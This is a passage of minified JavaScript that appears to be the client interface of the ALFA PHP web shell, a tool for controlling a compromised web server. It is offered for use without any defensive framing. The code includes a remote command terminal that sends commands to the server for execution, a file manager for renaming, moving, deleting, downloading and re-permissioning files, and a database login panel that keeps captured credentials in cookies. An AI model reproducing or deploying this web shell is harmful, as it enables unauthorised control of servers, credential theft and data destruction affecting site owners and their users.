class="options_holder">'+t+"</div>"),d.querySelector("#options_window .content_options_holder .options_tab").insertAdjacentHTML("beforeend",'<div opt_id="'+o+'" onclick="optionsTabController(this);" title="'+l+'" id="tab_'+o+'" class="tab_name tab_is_active">'+l+' <img opt_id="'+o+'" onclick="closeOption(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),$(o).classList.toggle("option_is_active"),d.querySelectorAll("#"+o+" form, #"+o+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var l=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'alfaBeforeDoAction("'+e+i+'");'+l),t.setAttribute("opt_id",e+i)}else{l=t.getAttribute("onclick");t.setAttribute("onclick",'alfaBeforeDoAction("'+e+i+'");'+l)}});try{$(o).querySelector(".getconfig").setAttribute("base_id",e+i)}catch(e){}return e+i}a.innerHTML=t;var n=$("tab_option_"+e);null!=n&&((-1==n.classList.value.indexOf("tab_is_active")||options_window_is_minimized)&&(n.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",n.innerText)),options_window_is_minimized&&alfaUpdateOptionsBadge("options_window")),d.querySelectorAll("#option_"+e+" form, #option_"+e+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var i=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'alfaBeforeDoAction("'+e+'");'+i),t.setAttribute("opt_id",e)}else{i=t.getAttribute("onclick");t.setAttribute("onclick",'alfaBeforeDoAction("'+e+'");'+i)}});try{a.querySelector(".getconfig").setAttribute("base_id",e)}catch(e){}options_window_is_minimized||(d.body.style.overflow="hidden")}function alfaBeforeDoAction(e){alfa_before_do_action_id=e}function alfaLoaderOnTop(e){$("a_loader").style.display=e,d.body.style.overflow="block"==e?"hidden":"visible"}function alfaAjaxController(e){var t=e.getAttribute("parent");$("loader_"+t).remove(),"filesman_holder"==t.substr(0,15)&&($(t).style.minHeight="0"),_ALFA_AJAX_.hasOwnProperty(t)&&_ALFA_AJAX_[t].abort()}function closeDatabase(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("sql-active-tab"))if((e=d.querySelectorAll(".sql-tabs .sql-tabname")).length>1){e[0].classList.add("sql-active-tab");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("sql-active-content")}else editorClose("database_window");d.querySelector("div[opt_id="+a+"]").remove()}function closeFmTab(e,t){t.stopPropagation();var a=e.getAttribute("fm_id"),i=$("filesman_tab_"+a);if(-1!=i.classList.value.indexOf("filesman-tab-active")&&(e=d.querySelectorAll("#filesman_tabs .filesman_tab")).length>1){e[0].classList.add("filesman-tab-active");var l=e[0].getAttribute("fm_id"),r="filesman_holder_"+l;if(null!=$(r)){$(r).classList.toggle("filesman-active-content");var o=$("filesman_tab_"+l).getAttribute("path");initDir(o),d.mf.c.value=o,alfa_current_fm_id=l}}i.remove(),$("filesman_holder_"+a).remove(),alfaFilesmanTabHideTitle()}function closeOption(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("tab_is_active"))if((e=d.querySelectorAll(".options_tab .tab_name")).length>1){e[0].classList.add("tab_is_active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("option_is_active")}else editorClose("options_window");d.querySelector("div[opt_id="+a+"]").remove()}function historyPanelController(e){"hidden"==e.getAttribute("mode")?(d.querySelector(".editor-explorer").style.display="block",d.querySelector(".editor-modal").style.marginLeft="20%",e.setAttribute("mode","visible"),e.style.left="19%",e.innerHTML="<<"):(d.querySelector(".editor-explorer").style.display="none",d.querySelector(".editor-modal").style.marginLeft="1%",e.setAttribute("mode","hidden"),e.style.left="0%",e.innerHTML=">>")}function closeTerminalContent(e,t){t.stopPropagation();var a=e.getAttribute("term_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("active-terminal-tab"))&&(e=d.querySelectorAll(".terminal-tabs .terminal-tab")).length>1){e[0].classList.add("active-terminal-tab");var i=e[0].getAttribute("term_id");null!=$(i)&&$(i).classList.toggle("active-terminal-content")}d.querySelector("div[term_id="+a+"]").remove()}function closeEditorContent(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("editor-tab-active"))&&(e=d.querySelectorAll(".editor-tabs .editor-tab-name")).length>1){e[0].classList.add("editor-tab-active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("editor-content-active")}d.querySelector("div[opt_id="+a+"]").remove()}function optionsTabController(e){try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("option_is_active");try{d.querySelector("#options_window .content_options_holder .options_tab \t.tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("tab_is_active"),d.querySelector(".opt-title").innerHTML=e.getAttribute("title"),alfaUpdateOptionsBadge("options_window")}function terminalTabController(e){try{d.querySelector(".terminal-tab.active-terminal-tab").classList.remove("active-terminal-tab")}catch(e){}try{d.querySelector(".terminal-content.active-terminal-content").classList.remove("active-terminal-content")}catch(e){}var t=e.getAttribute("term_id");if(null==t)return!1;$(t).classList.toggle("active-terminal-content"),e.classList.remove("tab-is-done"),e.classList.add("active-terminal-tab"),$(t).querySelector(".php-terminal-input").focus(),alfaUpdateOptionsBadge("cgiloader")}function filesmanTabController(e){try{d.querySelector(".ajaxarea.filesman-active-content").classList.remove("filesman-active-content")}catch(e){}try{d.querySelector(".filesman_tab.filesman-tab-active").classList.remove("filesman-tab-active")}catch(e){}var t=e.getAttribute("fm_id");if(null==t)return!1;alfa_current_fm_id=t,e.classList.add("filesman-tab-active"),e.classList.remove("tab-is-done"),$("filesman_holder_"+t).classList.toggle("filesman-active-content");var a=e.getAttribute("path");initDir(a),d.mf.c.value=a}function dbTabController(e){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("sql-active-content"),e.classList.remove("tab-is-done"),e.classList.add("sql-active-tab"),alfaUpdateOptionsBadge("database_window")}function editorTabController(e,t){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}var a=null;void 0===t?a=e.getAttribute("opt_id"):(a=e,e=$("tab_"+a));var i=editor_files["file_"+a.replace("editor_source_","")];if(void 0!==i&&(d.querySelector(".editor-path").innerHTML=(i.pwd+"/"+i.file).replace(/\/\//g,"/")),null==a)return!1;$(a).classList.toggle("editor-content-active");try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("editor-tab-active"),alfaUpdateOptionsBadge("editor")}function alfaUpdateOptionsBadge(e){var t=d.querySelector("#"+e+"-minimized .options_min_badge");if(null!=t){var a=d.querySelectorAll("#"+e+" .tab-is-done").length;t.innerHTML=a,t.style.visibility=a>0?"visible":"hidden"}}function alfaOpenPhpTerminal(e){if(php_temrinal_using_cgi&&void 0===e)showEditor("cgiloader");else{$("cgiloader").style.display="block",$("cgiloader").style.background="rgba(0, 0, 0, 0.57)",$("cgiframe").style.background="rgba(0, 0, 0, 0.81)",$("cgiframe").style.border="1px solid rgb(30, 86, 115)",$("cgiframe").style.height="90%",$("cgiframe").style.padding="3px",d.querySelector("#cgiloader .opt-title").innerHTML="Terminal";var t="",a="",i="terminal_id_"+getRandom(10);void 0===e&&(t=" active-terminal-content",a=" active-terminal-tab"),d.querySelector("#cgiframe .terminal-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="terminal-content'+t+'"><div class="php-terminal-output"><div><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+'\',1);">+</button><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+"',0);\">-</button><input onchange=\"alfaTerminalChangecolor(this,'"+i+'\');" style="height: 18px;background: #dde2e2;" type="color"></div><pre class="ml1" style="border:unset;height: 90%;"></pre></div><div><form term_id="'+i+'" onSubmit="alfaExecTerminal(this);this.c.value=\'\';return false;" autocomplete="off" style="margin-top: 10px;"><div style="overflow: auto;white-space: nowrap;"><div style="display: inline-block;color:#4fbec3;margin-bottom:5px;margin-right:5px;">CWD:~# </div><div style="display: inline-block;color:#42ec42;" class="php-terminal-current-dir"></div></div><div style="position:relative;"><span style="color: #00ff08;font-size: 25px;">$ </span><input style="padding: 8px;font-size: 20px;width: 67%;border: 1px solid #27979B;padding-right:35px;" onkeyup="alfaWalkInTerminalHistory(this,event,\''+i+'\');" term_id="'+i+'" class="php-terminal-input" type="text" name="c" onfocus="closeHistoryCmd(\'free\',this);" placeholder="ls -la"><button class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;">ExeCute<button term_id="'+i+'" class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;" onClick="alfaExecTerminal(this, 1);return false;">Current Dir</button><div class="cmd-history-holder"><div class="commands-history-header">History</div><span onClick="clearTerminalHistory();" style="border-bottom: 1px solid;margin-bottom: 5px;display: inline-block;padding: 5px;color: #59de69;cursor: pointer;">Clear history</span><div style="overflow: auto;height: 82%;" class="commands-history"></div></div><div term_id="'+i+'" class="cmd-history-icon" mode="" onclick="closeHistoryCmd(this);"><img style="width:27px;" src="http://solevisible.com/icons/menu/time2.svg"></div></form></div></div></div>');try{$("terminal_new_tab").remove()}catch(e){}d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="terminalTabController(this);" term_id="'+i+'" id="tab_'+i+'" class="terminal-tab'+a+'">Terminal <img term_id="'+i+'" onclick="closeTerminalContent(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="alfaOpenPhpTerminal(true);" id="terminal_new_tab" style="background-color:#800000;" class="terminal-tab">New Tab +</div>'),terminal_walk_index[i]={index:0,key:-1},d.querySelector("#"+i+" .php-terminal-input").focus(),d.querySelector("#"+i+" .php-terminal-current-dir").innerHTML=c_,d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Terminal",alfaTerminalSetColorAndSize(i),php_temrinal_using_cgi=!0;var l=alfaGetTerminalHistory();for(var r in l)d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+l[r]+"</div>")}d.body.style.overflow="hidden"}function alfaTerminalSetColorAndSize(e){var t=getCookie("alfa-terminal-color"),a=getCookie("alfa-terminal-fontsize");void 0!==t&&(d.querySelector("#"+e+" pre.ml1").style.color=t),void 0!==a&&(d.querySelector("#"+e+" pre.ml1").style.fontSize=a)}function alfaTerminalChangecolor(e,t){d.querySelector("#"+t+" pre.ml1").style.color=e.value,setCookie("alfa-terminal-color",e.value,2012)}function alfaGetTerminalHistory(e){var t=getCookie("alfa-terminal-history");try{t=atob(t),t=JSON.parse(t)}catch(e){t=[]}return void 0!==e&&t.reverse(),t}function changeTerminalFontSize(e,t){var a=d.querySelector("#"+e+" pre.ml1"),i=parseInt(window.getComputedStyle(a,null).getPropertyValue("font-size")),l="";1==t?(l=i+1+"px",a.style.fontSize=l):(l=i-1+"px",a.style.fontSize=l),setCookie("alfa-terminal-fontsize",l,2012)}function alfaWalkInTerminalHistory(e,t,a){var i=t||window.event;if("38"==i.keyCode||"40"==i.keyCode||"37"==i.keyCode||"39"==i.keyCode)switch(i.keyCode){case 38:var l=alfaGetTerminalHistory(!0),r="";0==terminal_walk_index[a].index?(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,void 0!==(r=l[terminal_walk_index[a].index])?(e.value=r,++terminal_walk_index[a].index):(e.value="",terminal_walk_index[a].index=0)):terminal_walk_index[a].index<l.length&&(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,e.value=l[terminal_walk_index[a].index],++terminal_walk_index[a].index),terminal_walk_index[a].key=1;break;case 40:l=alfaGetTerminalHistory(!0);if(terminal_walk_index[a].index>=0)0!=terminal_walk_index[a].index&&(--terminal_walk_index[a].index,1==terminal_walk_index[a].key&&--terminal_walk_index[a].index),void 0!==(r=l[terminal_walk_index[a].index])?e.value=r:(e.value="",terminal_walk_index[a].index=0);terminal_walk_index[a].key=0;break;default:console.log(i.keyCode)}else terminal_walk_index[a].index=0}function clearTerminalHistory(){d.querySelectorAll(".commands-history").forEach(function(e){e.innerHTML=""}),setCookie("alfa-terminal-history","",2012)}function alfaAceToFullscreen(e){var t=e.getAttribute("ace_id");alfa_ace_editors.editor[t].container.requestFullscreen()}function closeHistoryCmd(e,t){if("free"==e){var a=t.getAttribute("term_id");return e=d.querySelector("#"+a+" .cmd-history-icon"),d.querySelector("#"+a+" .cmd-history-holder").style.visibility="hidden",d.querySelector("#"+a+" .cmd-history-holder").style.opacity="0",e.setAttribute("mode","off"),!1}var i=e.getAttribute("mode"),l=(a=e.getAttribute("term_id"),d.querySelector("#"+a+" .cmd-history-holder"));0==i.length||"off"==i?(l.style.visibility="visible",l.style.opacity="1",e.setAttribute("mode","on")):(l.style.visibility="hidden",l.style.opacity="0",e.setAttribute("mode","off"))}function geEvalAceValue(e){var t=e.querySelector(".php-evals-ace").getAttribute("id");return alfa_ace_editors.eval[t].getValue()}function alfaOpenArchive(e){var t=e.getAttribute("path"),a=e.getAttribute("fname"),i=e.getAttribute("base_id");if(".."==a&&"phar://"!=t.substr(0,7))return!1;var l="a="+alfab64("open_archive_dir")+"&c="+alfab64(c_)+"&alfa1="+alfab64(t)+"&alfa2="+alfab64(i)+"&ajax="+alfab64("true");_Ajax(d.URL,l,function(e){if("0"!=e){$("archive_base_"+i).innerHTML=e;var a=$("archive_dir_"+i).getAttribute("archive_name"),l=$("archive_dir_"+i).getAttribute("archive_full"),r="",o="";if(0!=(t=t.split(a)[1]).length){var n=(t=t.split("/")).length-1;for(var s in 0==t[n].length&&t.splice(n,1),t)0!=t.length&&(o+=t[s]+"/",r+='<a base_id="'+i+'" fname="'+t[s]+'" path="'+l+o+'" onclick="alfaOpenArchive(this);">'+t[s]+"/</a>")}d.querySelector("#archive_dir_"+i+" .archive_pwd_holder").innerHTML=r}},!1,"open_archive_dir")}function alfaDeleteConnectToDb(e){d.querySelectorAll(".dbh_"+e).forEach(function(e){e.remove()}),alfaConnectionHistoryUpdate(e)}function alfaConnectToDb(e,t){var a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var i=d.querySelector("#"+t+" div.sf");i.querySelector("input[name=sql_host]").value=a[e].host,i.querySelector("input[name=sql_login]").value=a[e].user,i.querySelector("input[name=sql_pass]").value=a[e].pass,(i.querySelector("input[name=sql_base]")?i.querySelector("input[name=sql_base]"):i.querySelector("select[name=sql_base]")).value=a[e].db,i.querySelector("input[name=sql_count]").checked=!0,d.querySelector("#"+t+" div.sf .db-connect-btn").click()}function alfaShowConnectionHistory(e){var t={},a=e.getAttribute("db_id"),i=e.getAttribute("mode");if(rows='<table class="connection-hist-table"><tr><th>*</th><th>Host</th><th>User</th><th>Pass</th><th>Database</th><th>Connect</th><th>Delete</th></tr>',"on"==i){e.setAttribute("mode","off");try{t=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var l,r=1;for(l in t){var o=t[l].user+"_"+t[l].db;rows+='<tr class="dbh_'+o+'"><th>'+r+"</th><th>"+t[l].host+"</th><th>"+t[l].user+"</th><th>"+t[l].pass+"</th><th>"+t[l].db+'</th><th><button style="margin: unset;" class="connection-his-btn" onclick=\'alfaConnectToDb("'+o+'","'+a+'");\'>Connect</button></th><th style="text-align: center;"><button style="margin: unset;" class="connection-his-btn connection-delete" onclick=\'alfaDeleteConnectToDb("'+o+"\");'>X</button></th></tr>",r++}rows+="</table"}else e.setAttribute("mode","on"),rows="";d.querySelector("#"+a+" .connection_history_holder").innerHTML=rows}function alfaConnectionHistoryUpdate(e){var t,a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}for(t in mysql_cache)0!=mysql_cache[t].db.length&&(a[mysql_cache[t].user+"_"+mysql_cache[t].db]=mysql_cache[t]);void 0!==e&&delete a[e],setCookie("alfa_connection_hist",btoa(JSON.stringify(a)),2012)}function alfaExecTerminal(e,t){var a="";if(0==(a=void 0!==t?"cd "+c_:e.c.value).length)return!1;"l"==a?a="ls -trh --color":"ll"==a&&(a="ls -ltrh --color");var i=e.getAttribute("term_id");alfaloader(i,"block"),closeHistoryCmd("free",e);var l="";"FORM"==e.tagName&&(l=e.querySelector(".php-terminal-current-dir").innerHTML),0==(l=l.trim()).length&&(l=c_);var r="a="+alfab64("terminalExec")+"&c="+alfab64(l)+"&alfa1="+alfab64(a)+"&ajax="+alfab64("true");if(_Ajax(d.URL,r,function(e,t){alfaloader(t,"none");try{var a=$("tab_"+i);null!=a&&((-1==a.classList.value.indexOf("active-terminal-tab")||cgi_is_minimized)&&(a.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",a.innerText)),cgi_is_minimized&&alfaUpdateOptionsBadge("cgiloader"))}catch(e){}e=JSON.parse(e),d.querySelector("#"+t+" .php-terminal-output > pre").innerHTML=e.output,0!=e.path.length&&(d.querySelector("#"+t+" .php-terminal-current-dir").innerHTML=e.path)},!1,i),void 0===t){d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+a+"</div>");var o=alfaGetTerminalHistory(),n=o.indexOf(a);-1!=n&&o.splice(n,1),o.push(a),setCookie("alfa-terminal-history",btoa(JSON.stringify(o)),2012)}d.querySelector("#"+i+" input.php-terminal-input").focus()}function pageChangedFilesMan(e){var t="filesman_holder_"+alfa_current_fm_id,a=getCookie(t+"_page_number"),i=e.innerText;if("<<"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;if(!((a=parseInt(a))>1))return!1;i=a-1}if(">>"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;a=parseInt(a);var l=d.querySelector("#"+t+" .last-page-number").innerHTML;if(!(a+1<=(l=parseInt(l))))return!1;i=a+1}setCookie(t+"_page_number",i,2012),g("FilesMan",c_)}function alfaColDumperInit(){var e=d.querySelector(".tab_name.tab_is_active").getAttribute("opt_id"),t=d.querySelector("#"+e),a=t.getElementsByClassName("box");for(i=0;i<a.length;i++)a[i].addEventListener("click",function(){null!=this.parentElement.querySelector(".nested")&&(this.parentElement.querySelector(".nested").classList.toggle("active"),this.classList.toggle("check-box"))});var i;a=t.getElementsByClassName("sub-box");for(i=0;i<a.length;i++)a[i].setAttribute("opt_id",e),a[i].addEventListener("click",function(){this.classList.toggle("check-box");var e=this.getAttribute("tbl"),t=this.getAttribute("opt_id");t=t.replace("option_",""),col_dumper_selected_data.hasOwnProperty(t)||(col_dumper_selected_data[t]={}),void 0===col_dumper_selected_data[t][e]&&(col_dumper_selected_data[t][e]=[]);var a=this.innerHTML,i=col_dumper_selected_data[t][e].indexOf(a);-1==i?col_dumper_selected_data[t][e].push(a):col_dumper_selected_data[t][e].splice(i,1)})}function showSymlinkPath(e,t){t.stopPropagation();var a=e.getAttribute("row"),i=$("td_row_"+a),l=e.getAttribute("opt_title"),r=e.getAttribute("fname");if(l=decodeURIComponent(r)+" -> "+l,null!=i){i.insertAdjacentHTML("afterbegin",'<div class="symlink_path" id="link_id_'+a+'">'+l+"</div>");var o=t.clientX,n=t.clientY-30;$("link_id_"+a).style.left=o+"px",$("link_id_"+a).style.top=n+"px"}}function hideSymlinkPath(e,t){t.stopPropagation(),$("link_id_"+e.getAttribute("row")).remove()}function alfagetFlags(){data="a="+alfab64("get_flags")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,function(e){var t=JSON.parse(e);t.hasOwnProperty("server")&&(d.querySelectorAll(".flag-holder")[0].innerHTML='<img draggable="false" title="'+t.server.name+'" src="http://solevisible.com/images/flags/48/'+t.server.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[0].style.display="inline"),t.hasOwnProperty("client")&&(d.querySelectorAll(".flag-holder")[1].innerHTML='<img draggable="false" title="'+t.client.name+'" src="http://solevisible.com/images/flags/48/'+t.client.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[1].style.display="inline")})}function colDumplerSelectType(e){var t=e.options[e.selectedIndex].value;$("coldumper-delimiter-input").style.display="delimiter"==t?"inline-block":"none"}function alfaCheckUrlHash(){var e=window.location.hash.substr(1),t=e.split("&").reduce(function(e,t){var a=t.split("=");return e[a[0]]=a[1],e},{});if(""!=e)switch(t.action){case"fileman":case"options":t.path=decodeURIComponent(t.path),g("FilesMan",t.path,function(e){if(t.hasOwnProperty("file")){var a="auto";isArchive(t.file)&&(a="view"),editor(t.path+"/"+t.file,a,"","","","file")}}),"options"==t.action&&t.hasOwnProperty("opt")&&(alfa_can_add_opt=!0,g(t.opt,null,"","",""),d.querySelector(".opt-title").innerHTML=$("menu_opt_"+t.opt).innerHTML),t.hasOwnProperty("file")||editorClose("editor"),t.hasOwnProperty("opt")||editorClose("options_window"),editorClose("cgiloader");break;default:g("FilesMan","/var/www/html/"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}else g("FilesMan","/var/www/html/"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}function alfaFmngrContextRow(){d.querySelectorAll(".fmanager-row a.main_name").forEach(function(e){e.addEventListener("contextmenu",function(e){var t=e.target,a="";if(".."==(a="A"==e.target.parentElement.tagName?(t=e.target.parentElement).getAttribute("fname"):t.getAttribute("fname")))return!1;var i=t.getAttribute("id"),l=t.getAttribute("path"),r=t.getAttribute("ftype"),o=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete"];for(var n in"file"!=r||isArchive(a)?o[3]="view_archive":o.splice(11,1),"folder"==r&&(o=["newtab","link","move","copy","rename","modify","permission","compress","delete"]),alfaSortMenuItems(o),o){var s=d.querySelector("#rightclick_menu > a[name="+o[n]+"]");switch(s.setAttribute("fid",i),s.setAttribute("fname",decodeURIComponent(a)),s.setAttribute("path",l),s.setAttribute("ftype",r),o[n]){case"view":case"edit":var c="auto";"edit"==o[n]&&(c="edit"),s.setAttribute("href","#action=fileman&path="+c_+"/&file="+a),s.setAttribute("onclick","editor('"+a+"','"+c+"','','','','file')");break;case"newtab":var u=a;"file"==r?(u="&file="+a,s.setAttribute("href","#action=fileman&path="+c_+"/"+u),s.setAttribute("target","_blank"),s.onclick=function(){}):(s.setAttribute("href","javascript:void(0)"),s.removeAttribute("target"),s.onclick=function(){alfaFilesManNewTab(c_,u)});break;case"delete":s.setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';");break;case"download":s.setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')");break;case"permission":try{var p=d.querySelector("#id_chmode_"+i.replace("id_","")+" span").innerHTML;s.setAttribute("perm",p.trim())}catch(e){}break;case"link":s.style.display="block";var f="/var/www/html/",m=(c_+"/"+a).replace(/\/\//g,"/");if(-1!=m.indexOf(f)){f=m.replace(f,"");var b=location.origin+"/"+f;s.setAttribute("href",""+b)}else s.style.display="none"}}var y=e.clientX,_=e.clientY;alfaRightClickMenu(y,_),e.preventDefault()})})}function alfaFilesManNewTab(e,t,a){var i=t;void 0!==a&&(i=alfaGetLastFolderName(e));var l=decodeURIComponent(e+"/"+t);l=l.replace(/\/\//g,"/");var r=$("filesman_tab_1"),o=r.getAttribute("fm_counter");o=parseInt(o)+1,r.setAttribute("fm_counter",o),d.querySelector("#filesman_tabs_child").insertAdjacentHTML("beforeend",'<div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" path="'+l+'" id="filesman_tab_'+o+'" fm_id="'+o+'" onclick="filesmanTabController(this);" fname="'+t+'" class="filesman_tab"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span class="filesman-tab-folder-name">'+i+'</span> <img fm_id="'+o+'" onclick="closeFmTab(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector(".ajaxarea").insertAdjacentHTML("beforebegin",'<div style="position:relative;" fm_id="'+o+'" id="filesman_holder_'+o+'" class="ajaxarea"><div class="header"></div></div>'),alfa_fm_id=o,g("FilesMan",l),alfa_fm_id=0}function alfaFilesmanTabShowTitle(e,t){t.stopPropagation();var a=$("filesman-tab-full-path");a.style.display="block",a.style.top=e.offsetTop-37+"px",a.style.left=e.offsetLeft-$("filesman_tabs").scrollLeft+"px",a.innerHTML=e.getAttribute("path")}function alfaFilesmanTabHideTitle(e,t){$("filesman-tab-full-path").style.display="none"}function alfaPopupAction(e,t){var a="",i="";switch(t){case"rename":a="Old file name:",i="New file name:";break;case"copy":a="File path:",i="Enter the file path that you want to copy this file to:";break;case"move":a="Current Path:",i="Enter the file path that you want to move this file to:";break;case"extract":a="Files to extract:",i="Enter the path you wish to extract the files to and click Extract:"}var l=e.getAttribute("fname"),r=e.getAttribute("path"),o=t.charAt(0).toUpperCase()+t.slice(1);if("permission"==t){d.querySelector("#shortcutMenu-holder").style.height="222px",o="Change Permissions",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="block",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="none";var n=e.getAttribute("perm"),s=n.substr(1,1),c=n.substr(2,1),u=n.substr(3,1);d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s,d.querySelector("#shortcutMenu-holder > form input[name=g]").value=c,d.querySelector("#shortcutMenu-holder > form input[name=w]").value=u,autoCheckPerms(s,"u",["u","g","w"]),autoCheckPerms(c,"g"),autoCheckPerms(u,"w")}else d.querySelector("#shortcutMenu-holder").style.height="190px",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="block",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="none";var p="move"==t||"copy"==t?r+l:l;if("modify"==t){var f="tr_row_"+e.getAttribute("fid").replace("id_","");p=d.querySelector("#"+f+" .main_modify").innerText}d.querySelector(".cl-popup-fixed").style.display="block",d.querySelector("#shortcutMenu-holder .popup-head").innerHTML=o,d.querySelector("#shortcutMenu-holder .old-path-lbl").innerHTML=a,d.querySelector("#shortcutMenu-holder .new-filename-lbl").innerHTML=i,d.querySelector("#shortcutMenu-holder .popup-foot > button[name=accept]").innerHTML=o,d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=r+l,d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value=p,d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("fid",e.getAttribute("fid")),d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("action",t)}function calcperm(){var e=event.srcElement;autoCheckPerms(e.checked,e.name.substr(0,1))}function autoCheckPerms(e,t,a){if(void 0!==a)for(var i in a){var l=a[i];d.querySelector("#shortcutMenu-holder > form input[name="+l+"r]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"w]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"x]").checked=!1}var r=d.querySelector("#shortcutMenu-holder > form input[name="+t+"r]"),o=d.querySelector("#shortcutMenu-holder > form input[name="+t+"w]"),n=d.querySelector("#shortcutMenu-holder > form input[name="+t+"x]");if("boolean"!=typeof e)"7"==e?(r.checked=!0,o.checked=!0,n.checked=!0):"4"==e?r.checked=!0:"2"==e?o.checked=!0:"1"==e?n.checked=!0:"6"==e?(r.checked=!0,o.checked=!0):"3"==e?(o.checked=!0,n.checked=!0):"5"==e&&(r.checked=!0,n.checked=!0);else{var s=0;r.checked&&(s+=4),o.checked&&(s+=2),n.checked&&(s+=1),"u"==t?d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s:"g"==t?d.querySelector("#shortcutMenu-holder > form input[name=g]").value=s:"w"==t&&(d.querySelector("#shortcutMenu-holder > form input[name=w]").value=s)}}function gg(e,t,a,i,l,r){var o="filesman_holder_"+alfa_current_fm_id;alfaloader(o,"block"),data="a="+alfab64(e)+"&c="+alfab64(t)+"&alfa1="+alfab64(a)+"&alfa2="+alfab64(i)+"&alfa3="+alfab64(l)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,r,!1,o)}function alfaPopUpDoAction(e){var t=e.getAttribute("action");switch(t){case"rename":case"move":case"copy":var a=e.getAttribute("fid").replace("id_",""),i=$("id_"+a).getAttribute("fname"),l=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value;l=l.trim(),i=i.trim(),gg("doActions",c_,i,l,t,function(e,i){if("rename"==t)if("done"==e){var r=$("id_"+a);updateFileEditor(a,l);var o=r.getAttribute("path")+$("id_"+a).getAttribute("fname");d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=o,r.addEventListener("animationend",function(){r.classList.remove("textEffect")}),r.classList.add("textEffect"),alfaShowNotification("Renamed...","Rename Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification("error...!","Rename Action","error");alfaloader(i,"none")});break;case"permission":var r=d.querySelector("#shortcutMenu-holder > form input[name=u]").value,o=d.querySelector("#shortcutMenu-holder > form input[name=g]").value,n=d.querySelector("#shortcutMenu-holder > form 